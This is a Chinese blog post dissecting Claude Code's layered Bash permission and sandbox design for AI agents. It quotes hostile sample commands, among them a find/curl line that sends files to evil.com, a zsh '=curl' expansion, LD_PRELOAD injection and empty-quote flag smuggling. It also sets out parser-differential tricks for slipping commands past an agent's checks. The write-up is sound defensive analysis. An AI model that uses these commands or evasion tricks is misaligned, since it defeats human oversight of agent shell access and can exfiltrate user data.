让 AI Agent 执行 shell 命令,是最危险也最有价值的能力之一。Claude Code 的实现并不是"一张黑名单 + 一个确认框",而是一条跨 AST 解析、命令语义校验、权限引擎和 OS 沙箱的多段式安全链。这篇文章按源码把这条链拆开,重点讲清它到底防了什么、靠什么防、哪些地方又不能过度神化。
一、先讲结论
Claude Code 的 Bash 安全体系,确实很强,但它不是一个简单的"8 层同级防线"模型。更准确的说法是:
- 它是一条 AST 可信解析 -> 语义校验 -> operator/path/read-only 编排 -> 权限规则 / classifier -> 条件沙箱 串起来的安全链
- 现版本主入口是 AST/tree-sitter fail-closed 解析,不是 legacy 的 shell-quote / 三路引号提取
destructive command warning只是提示文案,不是阻断层- OS 沙箱也不是"每条命令必经的最后一道防线",而是按配置、平台、命令条件决定是否启用的执行隔离层
如果把源码里的真实结构压成一张图,大致更接近这样:
text
┌──── Claude Code Bash 安全链 ────┐
│ ⑦ 条件启用的 OS 沙箱 / 网络文件隔离 │
│ ⑥ 权限规则 / classifier / ask UX │
│ ⑤ operator / path / redirect 编排 │
│ ④ mode / sed / read-only 快速通道 │
│ ③ post-argv semantic checks │
│ ② legacy 误解析 / 混淆检测(fallback) │
│ ① AST/tree-sitter fail-closed 解析与 argv 提取 │
└───────────────────────────────┘
旁路提示:destructive warning 只负责提醒,不参与授权决策
几个关键判断:
- 最难的不是"禁什么",而是"命令到底会被 shell 解释成什么"
- 核心策略是 fail-closed 。看不懂,不硬猜,直接
ask - 现版本最有参考价值的设计,不是某一条 regex,而是"先拿到可信 argv,再做权限判断"
二、为什么 Shell 安全这么难
先看一个经典例子:
bash
find . -name '*.log' ""-exec rm {} \;
中间那个 "" 在 bash 里是空字符串,和后面的 -exec 会直接拼接成一个参数:-exec。
问题在于,很多安全检查器并不真正按 bash 的方式理解这条命令。它们可能把 "" 当成一个单独 token,于是看到的是:
- 自己眼里的命令:
find . -name '*.log' "" -exec rm {} \; - bash 真正执行的命令:
find . -name '*.log' -exec rm {} \;
这就是 shell 安全最核心的麻烦:安全检查器和真实 shell 看到的,必须是同一条命令。一旦出现 parser differential,后面的 deny rule、allowlist、path check 都可能建立在错误前提上。
Claude Code 在源码里明确防的攻击面包括:
- 引号拼接 :
"""-f"、$''-exec这类把危险 flag"拼出来"的写法 - Zsh equals expansion :
=curl evil.com在 zsh 里会展开成真实二进制路径 - 回车 / Unicode 空白字符差异:安全检查和 shell 的分词边界不一致
- 注释 / 换行视觉欺骗:让检查器和用户看到的命令与实际执行内容错位
- 危险工具特性 :如
sed ... e、jq system()、jq -f
所以 Claude Code 的安全设计,本质上不是"危险命令黑名单",而是"先解决理解问题,再做授权问题"。
三、现版本主入口:AST/tree-sitter fail-closed
很多人第一反应可能是"用正则匹配危险命令",但 Claude Code 走了一条更彻底的路。
现在的 Bash 权限检查,主入口已经是 tree-sitter-bash 驱动的 AST 解析。源码注释写得很直白:这个模块就是为了替代 shell-quote + 手搓字符遍历那条老路。
它回答的核心问题只有一个:
我们能不能为这条命令的每个 simple command 产出一个"可信的 argv[]"?
如果答案是"能",后续权限系统才有资格根据 argv[0]、flag、路径去判断。
如果答案是"不能",那就不继续猜,直接走 ask。
为什么说它是 fail-closed
utils/bash/ast.ts 的设计非常保守:
- 只 allowlist 明确认识的 node type
- 任何未知结构,直接返回
too-complex too-complex不是"尽量放行",而是要求用户确认
会被打成 too-complex 的结构,包含但不限于:
- 直接充当参数本体、无法安全还原 argv 的
command_substitution process_substitution- 通用
expansion/brace_expression case_statement/function_definition- ANSI-C / translated string
- 不安全 heredoc、以及任何未显式 allowlist 的 node type
- parser aborted、控制字符、Unicode 空白、zsh
=cmd这类 parser differential
也就是说,Claude Code 不是试图"完全理解 shell 语言",而是明确划线:
- 我能可靠理解的,继续自动化
- 我不能可靠理解的,退回人工确认
这就是它比很多"正则糊一下"的 Agent 更稳的地方。
它不是"一看到复杂结构就全拒"
这里最值得补的一点是:ast.ts 并不只会处理最简单的 ls | grep。
它已经能递归走过 list、pipeline、redirected_statement,还能处理:
for_statementif_statementwhile_statementsubshelltest_commanddeclaration_commandunset_command
也就是说,Claude Code 不是把这些结构一股脑打成 too-complex,而是会继续把里面真正会执行的 simple command 抽出来做后续权限判断。
$() 也不是一律 ask。
- 如果
$()直接充当参数本体,比如cd $(pwd),那确实会被打成too-complex,因为 placeholder 会把真实路径藏掉 - 如果
$()只是双引号字符串的一部分,或只是赋值右值,比如echo "SHA: $(git rev-parse HEAD)"、NOW=$(date),AST 会递归抽出内层命令,把外层 argv 保留成可继续检查的形态
源码里甚至还有一个很有意思的 carve-out:$(cat <<'EOF' ... EOF) 这种 quoted heredoc literal body,会被当成可证明安全的静态字符串,而不是简单粗暴地全部打回确认。
所以更准确的说法不是"tree-sitter 只能看 simple command",而是:
它愿意理解一部分复杂 shell 结构,但前提是它不能对 argv 语义撒谎。
AST 解析成功,也不代表直接放行
AST 成功只说明"结构可信",不说明"命令安全"。
在 bashPermissions.ts 里,AST 解析成功之后还会继续做两步:
-
checkSemantics过滤那些语法上能正常 tokenize,但语义上本身就危险的东西。覆盖范围相当广:
eval、source(含.)、trap、hash、fc、compgen、let等危险 builtinzmodload、sysopen、sysread、ztcp、zsocket等 zsh 专有 builtintimeout/nice/env/stdbuf/nohup/time这类 wrapper------会被剥开外壳,对内层真实命令做独立校验- 数组下标求值攻击 :
printf -v、declare -v、read、unset带NAME[...]的形式,因为 bash 会在赋值/unset 时对下标做算术求值,a[$(evil)]可以执行任意命令 \n#换行注释混淆:argv 或环境变量中的换行 +#可以让检查器和 shell 看到不同的命令/proc/*/environ读取:防止通过文件系统读取其他进程的环境变量(可能含 secret)
-
下游权限与路径校验
即使 argv 可信,仍然要继续检查 operator、路径、read-only 规则、权限规则、沙箱状态。
所以 AST 不是"最后裁决",它是可信输入的前置条件。
四、legacy 路径并没有消失,但它已经是 fallback / 补充校验
在 tree-sitter AST 成为主入口之前,Claude Code 靠的是 shell-quote 库 + 手搓字符遍历来解析命令。这套逻辑现在仍然保留在代码里,但角色已经变了:
- 当 tree-sitter 不可用、被 feature gate 关闭、或 injection check 被禁用时,会回退到 legacy 路径
- legacy 路径仍然保留了大量非常有价值的误解析防护和混淆检测
legacy 路径里最经典的设计:三路引号提取
bashSecurity.ts 里确实有这一套:
typescript
extractQuotedContent(command) => {
withDoubleQuotes
fullyUnquoted
unquotedKeepQuoteChars
}
它解决的是不同安全规则需要看命令的不同"投影":
fullyUnquoted:看引号外是否出现$()、反引号、${}withDoubleQuotes:区分单引号和双引号里哪些扩展仍然生效unquotedKeepQuoteChars:专门抓 parser differential,比如grep 'x'#
这套设计本身没问题,只是它不再是现版本所有判断的总底座。
legacy 路径真正强的地方:误解析和混淆 hardening
这一层的真实实现比"几类 pattern"要碎得多、也更工程化。源码里能看到的检查包括:
- shell-quote 单引号 bug 前置检测
- 空引号拼接 flag
- 命令替换 / 进程替换 / 参数展开
- Zsh equals expansion
- CR 注入
- IFS 注入
/proc/*/environ读取- malformed token + command separator 组合
- quoted flag / split-quote flag / brace expansion 混淆
这也是为什么我更愿意把这部分称为:
legacy misparsing / obfuscation gate
而不是一个单独的"第①层引号解析"。
五、命令语义层:sed、jq、env、read-only allowlist、路径校验
AST 解决的是"能不能拿到可信 argv",这一层解决的是"拿到 argv 之后,这条命令到底安不安全"。
sed 是严格 allowlist,jq 不是
sed 和 jq 都是"看起来人畜无害,实际能搞大事"的命令,但 Claude Code 对它们的策略并不对称。
sed
sed 的约束确实是典型的 allowlist 思路:
- 只读场景允许
sed -n 'Np'、sed -n 'N,Mp'这类打印 - 替换场景只允许严格受限的
s/pattern/replacement/flags - flag 只允许
g p i I m M和单个数字 w/W/e/E这类能写文件或执行命令的能力会触发ask- 在
acceptEdits模式下,才会额外允许-i这类原地改写
这确实是"先列出安全用法,其余全部要求确认"的 allowlist。
值得一提的是,sedValidation.ts 在 allowlist 之外还多加了一层 defense-in-depth denylist:即使某条 sed 命令侥幸通过了 allowlist 逻辑,仍然会再过一遍已知危险 pattern 的黑名单。这种"白名单 + 黑名单双保险"的设计,在安全工程里叫 belt-and-suspenders。
jq
jq 不是同一套模型。
jq 这边更像是混合策略:
- 在
bashSecurity.ts里直接拦system() - 直接拦危险 flag:
-f、--from-file、--rawfile、--slurpfile、-L、--library-path - 在
readOnlyValidation.ts里,再通过 regex 限制只读形态 - 文件参数再交给
pathValidation.ts去做路径约束
所以更准确的说法是:
sed是严格 allowlist;jq是"危险功能直拦 + read-only/path 校验"的混合策略。
env
env 命令的安全处理也值得单独说。表面上 env FOO=bar cmd 只是设置环境变量,但如果不加限制,攻击者可以通过 env LD_PRELOAD=evil.so cmd 注入共享库,或者通过 env PATH=/tmp cmd 劫持命令查找路径。
Claude Code 的做法是维护一份 SAFE_ENV_VARS 白名单,只允许设置已知安全的环境变量,覆盖了:
- Go:
GOEXPERIMENT、GOOS、GOARCH、CGO_ENABLED、GO111MODULE - Rust:
RUST_BACKTRACE、RUST_LOG - Node:
NODE_ENV - Python:
PYTHONUNBUFFERED、PYTHONDONTWRITEBYTECODE - Locale / Terminal:
LANG、LC_ALL、TERM、NO_COLOR、FORCE_COLOR、TZ
不在白名单里的环境变量,checkSemantics 对 env 的 flag 校验会直接 fail-closed。这又是一个"不试图枚举所有危险值,而是只放行已知安全值"的设计。
read-only 快速通道,不只是一个 allowlist 数组
除了 sed / jq 这种命令级特例,Claude Code 还有一套很大的 read-only quick path,但它不是"一个数组 + includes()"。
更贴近源码的说法是:
它是
COMMAND_ALLOWLIST为主、READONLY_COMMAND_REGEXES为补充,再叠加额外危险回调和 git 专项 hardening 的组合系统。
像这些命令如果命中安全条件,通常可以走快速放行:
git log/git status/git diff一类只读 gitrg/grep/fdcat/head/tailpwd/whoami
关键不只是"命令名在 allowlist 里",而是:
- 每个 flag 都有类型约束,很多命令会走专门的 flag parser
- 少数历史命令才会落到 regex fallback,而且 regex 前后还有额外护栏
- 未加引号的变量展开、glob、UNC 路径、路径访问、输出重定向仍然要继续校验
- git 还有额外 guard,比如
cd + git、bare repo、git internal path writes、sandbox 下 original cwd 限制
这套系统的设计目标很清楚:快速放行常见只读操作,但不给 flag 解析留语义漏洞。
路径约束层,不只是"路径在不在工作目录里"
pathValidation.ts 做的事远不止"检查路径在不在工作目录里":
- 为
rm、find、git、jq、sed等不同命令做专门路径提取 - 正确处理 POSIX
-- - 检查危险删除路径
- 检查输出重定向
- 在 compound command 里,如果有
cd再叠加写操作,会走更保守的策略
这里一个很重要的点是:
destructive path和allowed working path是两套不同概念。
也就是说,就算某个路径在允许目录内,像 rm -rf / 这种"危险移除路径"仍然会被单独拦。
六、权限引擎:规则匹配、operator 编排、classifier、sandbox auto-allow
再往后,才是很多人第一反应里的"权限系统"。
1. 规则不是只有 allow / deny 两个按钮
bashPermissions.ts 的决策顺序相当复杂,至少包括:
- exact deny / ask / allow
- prefix / wildcard deny / ask / allow
- prompt-based classifier 规则
- operator / pipe / redirect 的特殊处理
- path constraints
- read-only allow
- 默认 ask
其中 prompt-based classifier 是个很有意思的设计:它用一个轻量级 LLM(Haiku)对命令做语义级别的分类判断,弥补纯规则系统"只能看语法、看不出意图"的局限。比如一条命令语法上完全合法、flag 也都在 allowlist 里,但组合起来的意图明显有问题------这种 case 靠规则很难穷举,但 classifier 有可能捕获。
这就是为什么 Claude Code 的 Bash 权限不是"看一眼命令前缀就决定",而是一个编排器。
2. pipe / redirect / compound command 会单独处理
源码里有专门的 checkCommandOperatorPermissions()。
原因很现实:
echo x | xargs ... >> file 这种命令,不能只看每一段子命令都"好像没问题",还必须把原始命令上的重定向目标、cd 影响、组合执行关系一起算进去。
这类地方如果偷懒,只按 split('|') 或"逐段判断"处理,很容易留下真实漏洞。
3. 裸 shell prefix 不会被建议保存
Claude Code 明确把一批"给了前缀就近似给了任意执行权"的命令列进 BARE_SHELL_PREFIXES,范围相当宽:
- shell 解释器:
sh/bash/zsh/fish/csh/tcsh/ksh/dash/cmd/powershell/pwsh - wrapper:
env/xargs/nice/stdbuf/nohup/timeout/time - 提权工具:
sudo/doas/pkexec
原因很简单:这类前缀一旦配成 Bash(bash:*)、Bash(env:*),用户相当于给了"执行任意后续命令"的大权限。
更准确的表述应该是:
它们不会被系统主动建议保存,因为这会大幅削弱整套安全链。
但如果用户手动硬配超宽规则,比如 Bash(*),那当然仍然能把很多保护意义降到很低。
4. 还有一个经常被忽略的点:sandbox auto-allow
源码里有一条很实用的分支:
- 如果 sandbox 已启用
- 并且
autoAllowBashIfSandboxed也启用 - 并且这条命令确实会在 sandbox 中执行
那某些 Bash 调用可以不弹确认,直接因为"会在沙箱里运行"而放行。
但它不是无条件压过规则的"超级白名单"。源码里会先检查 full-command 和 subcommand 上的显式 deny / ask 规则,只有这些都没命中时,sandbox auto-allow 才真正生效。
这意味着 Claude Code 的真实授权逻辑,并不是"先授权,再决定要不要 sandbox",而是两者会互相影响。
七、destructive warning 只是提示层,不是授权层
这是很多人容易误解的一处。
destructiveCommandWarning.ts 文件顶部就写了:
这是 purely informational,不影响 permission logic 或 auto-approval。
它做的事情是给权限弹窗附上一句风险说明,例如:
git reset --hardgit push --forcerm -rfDROP TABLEkubectl deleteterraform destroy
它的价值当然存在,但它解决的是:
"让用户和模型在确认时更清楚风险是什么"
而不是:
"独立承担一层阻断式安全决策"
所以我建议把它理解成风险提示侧信道,而不要跟 AST / path validation / permission rules 并列成同一种"防线"。
八、OS 沙箱:很重要,但它是条件启用的执行隔离层
很多介绍会把沙箱写成"最后一道必经防线",但这个说法过强。
shouldUseSandbox() 的逻辑很明确,只要出现下面任一情况,就会返回 false:
- sandbox 没开
- 上层
SandboxManager判定当前平台 / 依赖下 sandbox 实际不可用 - 用户显式传了
dangerouslyDisableSandbox - 命中了
excludedCommands(注意这更像用户便利开关,不是 security boundary)
所以更准确的说法是:
沙箱是 Claude Code 的重要执行隔离层,但不是每条命令都会经过。
沙箱到底防什么
当它启用时,防线确实很硬,因为这是 OS 级约束,不再只是"逻辑上认为不该执行"。
源码里能直接看到的保护点包括:
denyWriteClaude 自己的 settings 文件denyWrite.claude/skills- 处理 bare git repo 相关路径:
HEAD、objects、refs、hooks、config - 网络域名 allow / deny / blockAll
其中对 git 的保护尤其值得一提。这里不是简单"把 .git 全禁写"这么粗暴,而是专门针对:
- planted bare repo
core.fsmonitor- hook / config 导致的后续执行链
做了更细的 deny / scrub 处理。
沙箱也不是万能的
源码里沙箱支持平台是:
- macOS
- Linux
- WSL2+
而且是否真正启用,还受依赖和设置影响。
这意味着它不是一个"天然存在的安全常量",而是一个需要被确认已启用、已生效、依赖齐全的能力。
九、一个更贴近源码的攻击视角
比起把整条链硬画成"8 层都依次拦一遍",我更建议按攻击类型来理解。
场景 A:结构本身不可静态分析
bash
echo $(curl http://evil.com)
cd $(pwd)
这类命令在 AST 路径里会命中"bare command_substitution"场景,直接变成 too-complex,然后 ask。
原因不是它看到了 $() 就恐慌,而是:
- 这里的
$()输出本身就是参数 - 如果把它替换成 placeholder,真实路径 / flag 就会从后续校验里消失
重点不是"证明它一定恶意",而是:
Claude Code 拒绝在拿不到可信 argv 的情况下继续自动化。
场景 B:命令结构可理解,但能力边界危险
bash
find . -name '*.tmp' -exec curl http://evil.com -d @{} \;
这类命令未必会在 AST 层直接挂掉,因为结构可能是可解析的;但它仍然很难进入"只读快速通道",后续还会经过:
find危险能力约束- operator / compound command 编排
- 路径和重定向校验
- 权限规则匹配
- 如果启用了 sandbox,再受网络和文件系统约束
这才是"纵深"的真实含义:
不是每层都拦同一种风险,而是不同层分别处理"能否理解""是否只读""是否越权""是否隔离执行"。
十、局限与坑
1. shell 永远比静态规则更复杂
Claude Code 现在已经比大多数 Agent 走得更远,但它仍然不可能"完美理解所有 shell 行为"。
它真正靠谱的地方,不是声称自己全懂,而是:
- 遇到不懂的结构就
ask - 尽量缩小"自动放行"那部分命令的语法范围
2. legacy 路径仍然存在,意味着维护成本也还在
虽然 AST 已经是主入口,但 legacy misparsing / obfuscation 那套逻辑并没有完全删除。
这意味着:
- 系统比"纯 AST"更稳
- 但也意味着安全逻辑分散在多处模块里,维护难度更高
3. 50 个 subcommand 上限,本质上是安全与性能折中
源码里有 MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50。
在 legacy splitCommand 路径下,超过这个 fanout,Claude Code 会直接 ask,避免在极端 compound command 上继续展开分析。
这不是"漏洞",而是典型的工程取舍:
宁可多问一次,也不在超长命令上冒误判风险。
4. 用户配置仍然可能削弱保护
如果用户手动配置过宽的规则,例如:
Bash(*)Bash(bash:*)Bash(env:*)
那整套系统当然会被削弱。
Claude Code 做到的是:
- 不主动建议这种规则
- 尽量让默认路径更安全
但它终究不是强制管控平台,最后还是允许用户自己承担配置后果。
十一、最后总结
Claude Code 这套 Bash 安全设计,最值得抄的不是某几个正则,而是三个更底层的工程原则:
-
先拿到可信语义,再谈授权
这也是为什么 tree-sitter / AST fail-closed 会成为现版本主入口。
-
把"只读自动化"收得很窄,把"不确定"统一打回确认
这比"先大胆放,再出事了加黑名单"要成熟得多。
-
逻辑校验和执行隔离要并存
仅有规则,没有 sandbox,不够;仅有 sandbox,没有可信 argv 和权限编排,也不够。
如果你在做自己的 Agent,我觉得最该抄的不是某个 deny pattern,而是这个问题:
你的安全检查,看到的和 shell 真正执行的,究竟是不是同一条命令?
如果这个问题还答不上来,那第一课通常不是多写几条规则,而是先把解析这件事做对。
最后一个感受:Claude Code 这套系统最让我印象深刻的,不是某个单点设计有多巧妙,而是它在**"安全"和"可用"之间找到了一个工程上可持续的平衡点**。既没有为了安全把 Bash 能力阉割到不能用,也没有为了体验把安全做成摆设。这种"在正确的层做正确粒度的检查"的设计哲学,比任何具体的 regex 都更值得学。